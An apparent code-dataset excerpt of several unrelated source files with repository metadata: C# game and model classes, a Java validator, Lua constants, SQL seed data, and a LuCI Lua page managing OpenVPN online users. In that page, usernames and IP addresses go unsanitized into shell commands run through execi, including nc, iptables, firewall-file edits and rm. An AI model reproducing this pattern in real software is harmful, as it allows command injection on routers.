public static TacticalItemDef GetTacticalItemDef(string key)
{
DefRepository defRepository = GameUtl.GameComponent<DefRepository>();
return defRepository.GetDef(key) as TacticalItemDef ?? defRepository.GetAllDefs<TacticalItemDef>().FirstOrDefault(e => e.name == key);
}
public static GameTagDef GetGameTagDef(string key)
{
DefRepository defRepository = GameUtl.GameComponent<DefRepository>();
return defRepository.GetDef(key) as GameTagDef ?? defRepository.GetAllDefs<GameTagDef>().FirstOrDefault(e => e.name == key);
}
public static bool GetKeyByTemplate(TacCharacterDef template, out string key)
{
key = null;
List<string> characters = new List<string> { "Sophia", "Jacob", "Omar", "Irina", "Takeshi" };
List<string> classes = new List<string> { "Assault", "Heavy", "Sniper", "Berserker", "Priest", "Technician", "Infiltrator" };
foreach (string s in characters.Concat(classes))
{
if (template.name.Contains(s))
{
key = s;
return true;
}
}
return false;
}
public static bool ContainsAny(string str, List<string> list)
{
foreach (string item in list)
{
if (str.Contains(item))
{
return true;
}
}
return false;
}
}
}
| 32.552632 | 146 | 0.584748 |
70f7e30af5d72c679801a42e29dd1ee0a44ddaca | 940 | cs | C# | DevUtils/Models/ClassifiedUtil.cs | huangjia2107/DevUtils | 19eedb837bac21432b8fb4147698c6dd079e47b7 | [
"MIT"
] | null | null | null | DevUtils/Models/ClassifiedUtil.cs | huangjia2107/DevUtils | 19eedb837bac21432b8fb4147698c6dd079e47b7 | [
"MIT"
] | null | null | null | DevUtils/Models/ClassifiedUtil.cs | huangjia2107/DevUtils | 19eedb837bac21432b8fb4147698c6dd079e47b7 | [
"MIT"
] | null | null | null | using System.Collections.ObjectModel;
using DevUtils.ViewModels;
using UtilModelService;
using Prism.Mvvm;
namespace DevUtils.Models
{
public class ClassifiedUtil : BindableBase
{
public int Index { get; set; }
public UtilType Type { get; set; }
private ObservableCollection<UtilViewModel> _utils;
public ObservableCollection<UtilViewModel> Utils
{
get { return _utils; }
set
{
if (_utils != value)
{
_utils = value;
RefreshIsEmpty();
}
}
}
private bool _isEmpty = true;
public bool IsEmpty
{
get { return _isEmpty; }
set { SetProperty(ref _isEmpty, value); }
}
public void RefreshIsEmpty()
{
IsEmpty = _utils == null || _utils.Count == 0;
}
}
}
| 22.926829 | 59 | 0.511702 |
cada33cf715cd61258236a31d4d9dbcef2e8d72f | 3,489 | lua | Lua | applications/luci-app-openvpn-server-new/luasrc/model/cbi/openvpn-server/online.lua | ksong008/luci | ec09ff192ec7f79a7b958e6f996cbaedb1b2c068 | [
"Apache-2.0"
] | null | null | null | applications/luci-app-openvpn-server-new/luasrc/model/cbi/openvpn-server/online.lua | ksong008/luci | ec09ff192ec7f79a7b958e6f996cbaedb1b2c068 | [
"Apache-2.0"
] | null | null | null | applications/luci-app-openvpn-server-new/luasrc/model/cbi/openvpn-server/online.lua | ksong008/luci | ec09ff192ec7f79a7b958e6f996cbaedb1b2c068 | [
"Apache-2.0"
] | null | null | null | local o = require "luci.dispatcher"
local fs = require "nixio.fs"
local jsonc = require "luci.jsonc"
local uci = require "luci.model.uci":cursor()
local sessions = {}
local session_path = "/var/etc/openvpn-server/session"
if fs.access(session_path) then
for filename in fs.dir(session_path) do
local session_file = session_path .. "/" .. filename
local file = io.open(session_file, "r")
local t = jsonc.parse(file:read("*a"))
if t then
t.session_file = session_file
sessions[#sessions + 1] = t
end
file:close()
end
end
local blacklist = {}
local firewall_user_path = "/etc/firewall.user"
if fs.access(firewall_user_path) then
for line in io.lines(firewall_user_path) do
local m = line:match('openvpn%-server%-blacklist%-([^\n]+)')
if m then
local t = {}
t.ip = m
blacklist[#blacklist + 1] = t
end
end
end
f = SimpleForm("processes", translate("OpenVPN Server"))
f.reset = false
f.submit = false
t = f:section(Table, sessions, translate("Online Users"))
t:option(DummyValue, "common_name", translate("Username"))
t:option(DummyValue, "ifconfig_pool_remote_ip", translate("Client IP"))
t:option(DummyValue, "remote_ip", translate("IP address"))
t:option(DummyValue, "login_time", translate("Login Time"))
_blacklist = t:option(Button, "_blacklist", translate("Blacklist"))
function _blacklist.render(e, t, a)
e.title = translate("Add to Blacklist")
e.inputstyle = "remove"
Button.render(e, t, a)
end
function _blacklist.write(t, s)
local common_name = t.map:get(s, "common_name")
luci.util.execi('echo "kill %s" | nc 127.0.0.1 17777 >/dev/null 2>&1' % common_name)
local ip = t.map:get(s, "remote_ip")
local port = uci:get("luci-app-openvpn-server", "server", "port") or "1194"
local proto = uci:get("luci-app-openvpn-server", "server", "proto") or "tcp"
luci.util.execi("echo 'iptables -I INPUT -s %s -p %s --dport %s -j DROP ## openvpn-server-blacklist-%s' >> /etc/firewall.user" % { ip, proto, port, ip })
luci.util.execi("iptables -I INPUT -s %s -p %s --dport %s -j DROP" % { ip, proto, port })
luci.util.execi("rm -f " .. t.map:get(s, "session_file"))
luci.http.redirect(o.build_url("admin/vpn/openvpn-server/online"))
end
_kill = t:option(Button, "_kill", translate("Forced offline"))
_kill.inputstyle = "reset"
function _kill.write(t, s)
local common_name = t.map:get(s, "common_name")
luci.util.execi('echo "kill %s" | nc 127.0.0.1 17777 >/dev/null 2>&1' % common_name)
luci.http.redirect(o.build_url("admin/vpn/openvpn-server/online"))
end
t = f:section(Table, blacklist, translate("Blacklist"))
t:option(DummyValue, "ip", translate("IP address"))
_blacklist2 = t:option(Button, "_blacklist2", translate("Blacklist"))
function _blacklist2.render(e, t, a)
e.title = translate("Remove from Blacklist")
e.inputstyle = "apply"
Button.render(e, t, a)
end
function _blacklist2.write(t, s)
local ip = t.map:get(s, "ip")
local port = uci:get("luci-app-openvpn-server", "server", "port") or "1194"
local proto = uci:get("luci-app-openvpn-server", "server", "proto") or "tcp"
luci.util.execi("sed -i -e '/## openvpn-server-blacklist-%s/d' /etc/firewall.user" % { ip })
luci.util.execi("iptables -D INPUT -s %s -p %s --dport %s -j DROP" % { ip, proto, port })
luci.http.redirect(o.build_url("admin/vpn/openvpn-server/online"))
end
return f
| 39.202247 | 157 | 0.655202 |
83cb24ceab082008ed676565addfaef9fa743c4d | 1,171 | java | Java | freeipa/src/main/java/com/sequenceiq/freeipa/service/multiaz/MultiAzValidator.java | Beast2709/cloudbreak | 6fefcf8e1ba441f46d3e7fe253e41381622a6b4d | [
"Apache-2.0"
] | null | null | null | freeipa/src/main/java/com/sequenceiq/freeipa/service/multiaz/MultiAzValidator.java | Beast2709/cloudbreak | 6fefcf8e1ba441f46d3e7fe253e41381622a6b4d | [
"Apache-2.0"
] | null | null | null | freeipa/src/main/java/com/sequenceiq/freeipa/service/multiaz/MultiAzValidator.java | Beast2709/cloudbreak | 6fefcf8e1ba441f46d3e7fe253e41381622a6b4d | [
"Apache-2.0"
] | null | null | null | package com.sequenceiq.freeipa.service.multiaz;
import java.util.Set;
import javax.annotation.PostConstruct;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;
import com.sequenceiq.cloudbreak.common.mappable.CloudPlatform;
@Component
public class MultiAzValidator {
private static final Logger LOGGER = LoggerFactory.getLogger(MultiAzValidator.class);
@Value("${cb.multiaz.supported.instancemetadata.platforms:AWS,GCP,AZURE,YARN}")
private Set<String> supportedInstanceMetadataPlatforms;
@PostConstruct
public void initSupportedVariants() {
if (supportedInstanceMetadataPlatforms.isEmpty()) {
supportedInstanceMetadataPlatforms = Set.of(
CloudPlatform.AWS.name(),
CloudPlatform.GCP.name(),
CloudPlatform.AZURE.name(),
CloudPlatform.YARN.name());
}
}
public boolean supportedForInstanceMetadataGeneration(String cloudPlatform) {
return supportedInstanceMetadataPlatforms.contains(cloudPlatform);
}
}
| 31.648649 | 89 | 0.726729 |
1f0adcf77717311f8653f404d52a1e050a775645 | 446 | lua | Lua | src/constants.lua | GeorgeLung/Factorio-LtnManager | bebfdea07b7382d235a25caa3fd9cf0b2e8714ab | [
"MIT"
] | null | null | null | src/constants.lua | GeorgeLung/Factorio-LtnManager | bebfdea07b7382d235a25caa3fd9cf0b2e8714ab | [
"MIT"
] | null | null | null | src/constants.lua | GeorgeLung/Factorio-LtnManager | bebfdea07b7382d235a25caa3fd9cf0b2e8714ab | [
"MIT"
] | null | null | null | return {
-- colors
station_indicator_color = {r=1, g=0.2, b=0.2, a=0.75},
-- gui
action_buttons_width = 96,
main_frame_height = 615,
main_frame_width = 830,
search_frame_height = 40,
-- other
ltn_event_names = {
on_stops_updated = true,
on_dispatcher_updated = true,
-- on_dispatcher_no_train_found = true,
on_delivery_pickup_complete = true,
on_delivery_completed = true,
on_delivery_failed = true
}
} | 24.777778 | 56 | 0.688341 |
c8cc8f4ac47e7d6ad7f615fa5726757cb7f1ba28 | 122 | swift | Swift | Sources/NefEditorError/GeneralError.swift | bow-swift/nef-editor-server | edadad0f37f90fd4a4b7cf17ee4551d2b132f4a5 | [
"Apache-2.0"
] | 7 | 2020-05-26T20:32:44.000Z | 2020-12-11T10:25:30.000Z | Sources/NefEditorError/GeneralError.swift | bow-swift/nef-editor-server | edadad0f37f90fd4a4b7cf17ee4551d2b132f4a5 | [
"Apache-2.0"
] | null | null | null | Sources/NefEditorError/GeneralError.swift | bow-swift/nef-editor-server | edadad0f37f90fd4a4b7cf17ee4551d2b132f4a5 | [
"Apache-2.0"
] | null | null | null | import Foundation
public enum GeneralError: Error {
case dataCorrupted
case keyNotFound
case valueNotFound
}
| 15.25 | 33 | 0.754098 |
f9b45859976467ce843615831522d554aafbe90f | 3,987 | sql | SQL | db/seeds/20_masterfile_data.sql | NoSoft-SA/nslogix | eeda9176a5bbc56f2daacdb52d4893f0c4db2991 | [
"MIT"
] | null | null | null | db/seeds/20_masterfile_data.sql | NoSoft-SA/nslogix | eeda9176a5bbc56f2daacdb52d4893f0c4db2991 | [
"MIT"
] | null | null | null | db/seeds/20_masterfile_data.sql | NoSoft-SA/nslogix | eeda9176a5bbc56f2daacdb52d4893f0c4db2991 | [
"MIT"
] | null | null | null | -- ADDRESS TYPES
INSERT INTO public.address_types(address_type) VALUES ('Delivery Address') ON CONFLICT DO NOTHING;
-- CONTACT METHOD TYPES
INSERT INTO public.contact_method_types(contact_method_type) VALUES ('Tel') ON CONFLICT DO NOTHING;
INSERT INTO public.contact_method_types(contact_method_type) VALUES ('Fax') ON CONFLICT DO NOTHING;
INSERT INTO public.contact_method_types(contact_method_type) VALUES ('Cell') ON CONFLICT DO NOTHING;
INSERT INTO public.contact_method_types(contact_method_type) VALUES ('Email') ON CONFLICT DO NOTHING;
-- PORT_TYPES
INSERT INTO port_types (port_type_code, description) VALUES('POL', 'Port of Loading') ON CONFLICT DO NOTHING;
INSERT INTO port_types (port_type_code, description) VALUES('POD', 'Port of Dispatch') ON CONFLICT DO NOTHING;
INSERT INTO port_types (port_type_code, description) VALUES('TRANSSHIP', 'Transfer Shipment') ON CONFLICT DO NOTHING;
-- ROLES
INSERT INTO roles (name) VALUES ('IMPLEMENTATION_OWNER') ON CONFLICT DO NOTHING;
INSERT INTO roles (name) VALUES ('OTHER') ON CONFLICT DO NOTHING;
INSERT INTO roles (name) VALUES ('CUSTOMER') ON CONFLICT DO NOTHING;
INSERT INTO roles (name) VALUES ('SUPPLIER') ON CONFLICT DO NOTHING;
INSERT INTO roles (name) VALUES ('MARKETER') ON CONFLICT DO NOTHING;
INSERT INTO roles (name) VALUES ('SHIPPING_LINE') ON CONFLICT DO NOTHING;
INSERT INTO roles (name) VALUES ('SHIPPER') ON CONFLICT DO NOTHING;
INSERT INTO roles (name) VALUES ('FINAL_RECEIVER') ON CONFLICT DO NOTHING;
INSERT INTO roles (name) VALUES ('EXPORTER') ON CONFLICT DO NOTHING;
INSERT INTO roles (name) VALUES ('BILLING_CLIENT') ON CONFLICT DO NOTHING;
INSERT INTO roles (name) VALUES ('CONSIGNEE') ON CONFLICT DO NOTHING;
INSERT INTO roles (name) VALUES ('HAULIER') ON CONFLICT DO NOTHING;
INSERT INTO roles (name) VALUES ('FARM_OWNER') ON CONFLICT DO NOTHING;
INSERT INTO roles (name) VALUES ('FARM_MANAGER') ON CONFLICT DO NOTHING;
-- TARGET MARKET GROUP TYPES
INSERT INTO target_market_group_types (target_market_group_type_code) VALUES('PACKED') ON CONFLICT DO NOTHING;
INSERT INTO target_market_group_types (target_market_group_type_code) VALUES('SHIPPING') ON CONFLICT DO NOTHING;
INSERT INTO target_market_group_types (target_market_group_type_code) VALUES('MARKETING') ON CONFLICT DO NOTHING;
INSERT INTO target_market_group_types (target_market_group_type_code) VALUES('SALES') ON CONFLICT DO NOTHING;
-- VOYAGE_TYPES
INSERT INTO voyage_types (voyage_type_code, description) VALUES('ROAD', 'Trucks') ON CONFLICT DO NOTHING;
INSERT INTO voyage_types (voyage_type_code, description) VALUES('AIR', 'Air') ON CONFLICT DO NOTHING;
INSERT INTO voyage_types (voyage_type_code, description) VALUES('SEA', 'Sea') ON CONFLICT DO NOTHING;
INSERT INTO voyage_types (voyage_type_code, description) VALUES('RAIL', 'Rail') ON CONFLICT DO NOTHING;
-- VESSEL_TYPES
INSERT INTO vessel_types (voyage_type_id, vessel_type_code, description) VALUES((SELECT id FROM voyage_types WHERE voyage_type_code = 'ROAD'), 'TRUCK', 'Truck') ON CONFLICT DO NOTHING;
INSERT INTO vessel_types (voyage_type_id, vessel_type_code, description) VALUES((SELECT id FROM voyage_types WHERE voyage_type_code = 'SEA'), 'SHIP', 'Ship') ON CONFLICT DO NOTHING;
INSERT INTO vessel_types (voyage_type_id, vessel_type_code, description) VALUES((SELECT id FROM voyage_types WHERE voyage_type_code = 'RAIL'), 'TRAIN', 'Train') ON CONFLICT DO NOTHING;
INSERT INTO vessel_types (voyage_type_id, vessel_type_code, description) VALUES((SELECT id FROM voyage_types WHERE voyage_type_code = 'AIR'), 'AIRCRAFT', 'Aircraft') ON CONFLICT DO NOTHING;
-- UNITS OF MEASURE TYPE
INSERT INTO uom_types (uom_type_code) VALUES ('INVENTORY') ON CONFLICT DO NOTHING;
-- USER_EMAIL_GROUPS --
INSERT INTO user_email_groups (mail_group) VALUES('label_approvers') ON CONFLICT DO NOTHING;
INSERT INTO user_email_groups (mail_group) VALUES('label_publishers') ON CONFLICT DO NOTHING;
INSERT INTO user_email_groups (mail_group) VALUES('edi_notifiers') ON CONFLICT DO NOTHING;
| 68.741379 | 189 | 0.79383 |